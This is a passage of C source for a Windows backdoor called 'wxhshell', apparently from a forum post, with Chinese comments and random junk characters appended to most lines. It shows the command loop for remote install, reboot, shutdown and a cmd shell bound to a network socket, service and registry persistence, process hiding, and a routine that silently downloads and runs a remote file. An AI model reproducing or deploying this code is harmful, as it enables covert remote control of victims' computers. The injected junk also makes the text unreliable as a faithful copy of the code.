  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^|2qD: ;  
  } bjZ?WZr  
  else { G#>nOB  
ME"/%59r  
    switch(cmd[0]) { -u(#V#}OV?  
  KA7nncg;,  
  // 帮助 ?xega-l  
  case '?': { !cZIoz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uk#1PcPd  
    break; `3Y+:!q  
  } >3/<goXk7  
  // 安装 nDfDpP&  
  case 'i': { K>U &jH  
    if(Install()) (G Y`O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /nNHI34  
    else J=Z"sU=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =>Efrma  
    break; 92R{V%)G  
    } 7UiU3SUcg  
  // 卸载 K} @q+  
  case 'r': { a7ty&[\  
    if(Uninstall()) v2^CBKZ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{[J+f{~|  
    else ">7 bnOJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.Njn(z?Lz  
    break; j&r5oD;  
    } ofV{SeD67  
  // 显示 wxhshell 所在路径 ^B7Aam  
  case 'p': { pbNVj~#6  
    char svExeFile[MAX_PATH]; 2P*O^-zRp  
    strcpy(svExeFile,"\n\r"); U8z,N1]r*`  
      strcat(svExeFile,ExeFile); `O F\f  
        send(wsh,svExeFile,strlen(svExeFile),0); YR>xh2< 9  
    break; fQ@["b   
    } o5d)v)Rx=  
  // 重启 pE#0949  
  case 'b': { QGa"HG5NF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -3C~}~$>`  
    if(Boot(REBOOT)) . Hw^Nx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Cl0!}P4I  
    else { !q?}[E2  
    closesocket(wsh); kE1u-EA  
    ExitThread(0); R~o?X ^^O  
    } qohUxtnTK>  
    break; U3>G9g>^B  
    } pAYuOk9n  
  // 关机 {chl+au*l  
  case 'd': { g~]FI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (,k=mF  
    if(Boot(SHUTDOWN)) }5|uA/B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q>?oV(sF  
    else { :'03*A_[  
    closesocket(wsh); cVU[>gkg_  
    ExitThread(0); M~v{\!S  
    } d] {^  
    break; X#fI$9a  
    } Cs<d\"+  
  // 获取shell FTn[$q  
  case 's': { t_3XqjuA  
    CmdShell(wsh); P<U{jkM\/  
    closesocket(wsh); FRr<K^M  
    ExitThread(0); +aMPwTF:3  
    break; 3j6$!89'  
  } z;LntQZp-  
  // 退出 /h;X1Htx}  
  case 'x': { ?6|EAKJ`lK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SI\zW[IL  
    CloseIt(wsh); 9 HuE'(wQ  
    break; 9tJiIr8i  
    } 9 ItsK  
  // 离开 ^#Shs^#  
  case 'q': { tkA '_dcIC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :jA~zHO  
    closesocket(wsh); a"}?{  
    WSACleanup(); w%htY.-  
    exit(1); {ES3nCL(8  
    break; N:0mjHG  
        } 7yKadM~)  
  } FXIQS'  
  } ^ `!6Yax?  
5 gE  
  // 提示信息 oY &r76  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AV?*r-vWL.  
} \JX8`]|&  
  } PR6{Y]e%  
nlKWZYv  
  return; N( Cfv3{  
} (URWi caB  
]cbY@U3!2  
// shell模块句柄 qT(j%F  
int CmdShell(SOCKET sock) t6j|q nfw  
{ 2$|WXYY  
STARTUPINFO si; IRLT -  
ZeroMemory(&si,sizeof(si)); <EJC.W WJa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /" ,]J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R/iXO~/"J  
PROCESS_INFORMATION ProcessInfo; Rv }e+5F  
char cmdline[]="cmd"; HyB!8M|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P9gIKOOx#4  
  return 0; ]R( =)  
} f"S^:F0  
[H!V  
// 自身启动模式 2x0[@cT i?  
int StartFromService(void) Rc @p!Xi  
{ rZ<@MV|d  
typedef struct rB-&'#3%  
{ ~ujY+ {  
  DWORD ExitStatus; Xfe,ZC)  
  DWORD PebBaseAddress; hH>t  
  DWORD AffinityMask; wTG6>l]H  
  DWORD BasePriority; x5s Yo\  
  ULONG UniqueProcessId; P)4SrqW_  
  ULONG InheritedFromUniqueProcessId; b:oB $E  
}   PROCESS_BASIC_INFORMATION; gW RSS=8%  
>Qr(#Bt)  
PROCNTQSIP NtQueryInformationProcess; x)s`j(pYC  
Que-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YajUdpJi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; //xxSk  
so1% MV  
  HANDLE             hProcess; #Fq6-]y1")  
  PROCESS_BASIC_INFORMATION pbi; "??$yMW  
46sV\In>?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rF'q\tJDz  
  if(NULL == hInst ) return 0; ;BsyN[bF  
}Til $TT%H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x^&D8&4^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ar }F^8Ku  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _3.=| @L  
\G:\36l  
  if (!NtQueryInformationProcess) return 0; *bsS%qD]  
(X;D.s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s:CsUl|  
  if(!hProcess) return 0; MqRpG5 .  
Ny\p$v "p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G[GSt`LVS`  
X)P9f N~7  
  CloseHandle(hProcess); q &#f#Ou  
pKMy:j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WZ> }  
if(hProcess==NULL) return 0; Dm2&}{&K  
p@0Va  
HMODULE hMod; iLD}>=  
char procName[255]; 7Rwn{]r  
unsigned long cbNeeded; F[5[@y  
_XvSe]`f`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5=(fuY3  
Y {a#2(xn  
  CloseHandle(hProcess); u[k0z!p_ c  
DAa??/,x7  
if(strstr(procName,"services")) return 1; // 以服务启动  *Yj!f68  
9l<f?OzAO  
  return 0; // 注册表启动 ~qekM>z  
} P :zZ  
  
// 主模块 j#6@ cO'`  
int StartWxhshell(LPSTR lpCmdLine) 2[zFKK  
{ TL'^@Y7X5  
  SOCKET wsl; g$+ $@~  
BOOL val=TRUE; j6}/pe*;;T  
  int port=0; O!xul$9  
  struct sockaddr_in door; N;gI %6  
}&!fT\4  
  if(wscfg.ws_autoins) Install(); -k(bM:  
7XrXx:*a5  
port=atoi(lpCmdLine); \\}tD@V"  
I54`}Npp  
if(port<=0) port=wscfg.ws_port; iW oe  
|T3F:],`  
  WSADATA data; cc37(=o KL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {-a8^IK,  
;XAj/6pm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   20h+^R3{Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `,~8(rIM  
  door.sin_family = AF_INET; "0Ca;hSLM2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IHC {2 ^  
  door.sin_port = htons(port); cqXP}5  
&RF*pU>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lfTDpKz3D  
closesocket(wsl); [ H|ifi  
return 1; Oc A;+}>  
} /fh[_!qN  
'wA4}f  
  if(listen(wsl,2) == INVALID_SOCKET) { ey!QAEg"X1  
closesocket(wsl); I.'(n8*  
return 1; df9 jT?l  
} K%i9S;~  
  Wxhshell(wsl); `YL)[t? V  
  WSACleanup(); !I)wI~XF)5  
G)cEUEf d  
return 0; wB%N}bi!  
:^bjn3b  
} a]NH >d  
Ga,+  
// 以NT服务方式启动 2d:IYCl4q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V d`}F0WD  
{ J2Y S+%K  
DWORD   status = 0; 4rDa Jd>,  
  DWORD   specificError = 0xfffffff; $e#V^dph  
5,vw%F-m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9S<g2v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pA?kv]l(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yl\p*j"Fid  
  serviceStatus.dwWin32ExitCode     = 0; aI^Z0[P+  
  serviceStatus.dwServiceSpecificExitCode = 0; R-[t 4BHn  
  serviceStatus.dwCheckPoint       = 0; ais@|s;  
  serviceStatus.dwWaitHint       = 0; X7."hGu@  
wg.TCT2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "fH"U1Bw  
  if (hServiceStatusHandle==0) return; VUd=|$'J  
9=o;I;I  
status = GetLastError(); ?hfyQhR  
  if (status!=NO_ERROR) QP?eK W9 :  
{ ^ s.necg0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vXI2u;=y  
    serviceStatus.dwCheckPoint       = 0; 5oOF|IYi  
    serviceStatus.dwWaitHint       = 0; I l2`c}9  
    serviceStatus.dwWin32ExitCode     = status; rP%B#%;S"  
    serviceStatus.dwServiceSpecificExitCode = specificError; sR;^7(f!m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lkf}+aY  
    return; _-6IB>  
  } 5yl[#>qt  
I_"Kh BM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8slOB>2#Y  
  serviceStatus.dwCheckPoint       = 0; ,Y+J.8.H   
  serviceStatus.dwWaitHint       = 0; E!rgR5Bd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f?Am)  
} -5X*y4#  
a]]>(Txc  
// 处理NT服务事件,比如:启动、停止 myq:~^L ;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _]aA58,j  
{ AhA4IOG`.  
switch(fdwControl) hH.X_X?d%  
{ D #Ku5~j  
case SERVICE_CONTROL_STOP: Ew,1*WK!  
  serviceStatus.dwWin32ExitCode = 0; 6C@W6DR3N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ca6kqh"  
  serviceStatus.dwCheckPoint   = 0; 0pW?v:!H  
  serviceStatus.dwWaitHint     = 0; HzdyfZ!jR  
  { qvHRP@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bj1{=Pvl  
  } Or:a\qQ1  
  return; KB@F^&L {  
case SERVICE_CONTROL_PAUSE: S!oG|%VuB#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \""sf{S9  
  break; :i};]pR   
case SERVICE_CONTROL_CONTINUE: 8`]1Nt!*B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t^')ST  
  break; 99/`23YL  
case SERVICE_CONTROL_INTERROGATE: 9*&RvsrX  
  break; aK+jpi4?  
}; IUZ@n0/T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K (!+l  
} ?7k%4~H t  
=jEh#  
// 标准应用程序主函数 yRdME>_L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VdC,M;/=Z  
{ S9VD/  
lO+6|oF0  
// 获取操作系统版本 \2U FJ  
OsIsNt=GetOsVer(); _*1{fvv0{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {9_}i#,vR  
o?]N2e&(  
  // 从命令行安装 wR@"]WkR=  
  if(strpbrk(lpCmdLine,"iI")) Install(); :=cZ,?PQp1  
c7~>uNgJ  
  // 下载执行文件 @w[2 BaDt  
if(wscfg.ws_downexe) { 3@*orm>em  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }@Dgr)*+  
  WinExec(wscfg.ws_filenam,SW_HIDE); OF_g0Zu  
} DnI31!+y  
 G9qN1q~  
if(!OsIsNt) { EmFL %++V  
// 如果时win9x,隐藏进程并且设置为注册表启动 -:]-g:;/  
HideProc(); =ICakh!TO  
StartWxhshell(lpCmdLine); ;D>*Pzj  
} !kG2$/lR  
else $kD ;*v=  
  if(StartFromService()) S#[w).7  
  // 以服务方式启动 ^6kE tTO*  
  StartServiceCtrlDispatcher(DispatchTable); =F 9!)r  
else }:zTz% _K  
  // 普通方式启动 a?K3/0G  
  StartWxhshell(lpCmdLine); xZc].l6  
 O86[`,  
return 0; E|~)"=  
}
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只看该作者 1 发表于: 2006-10-10
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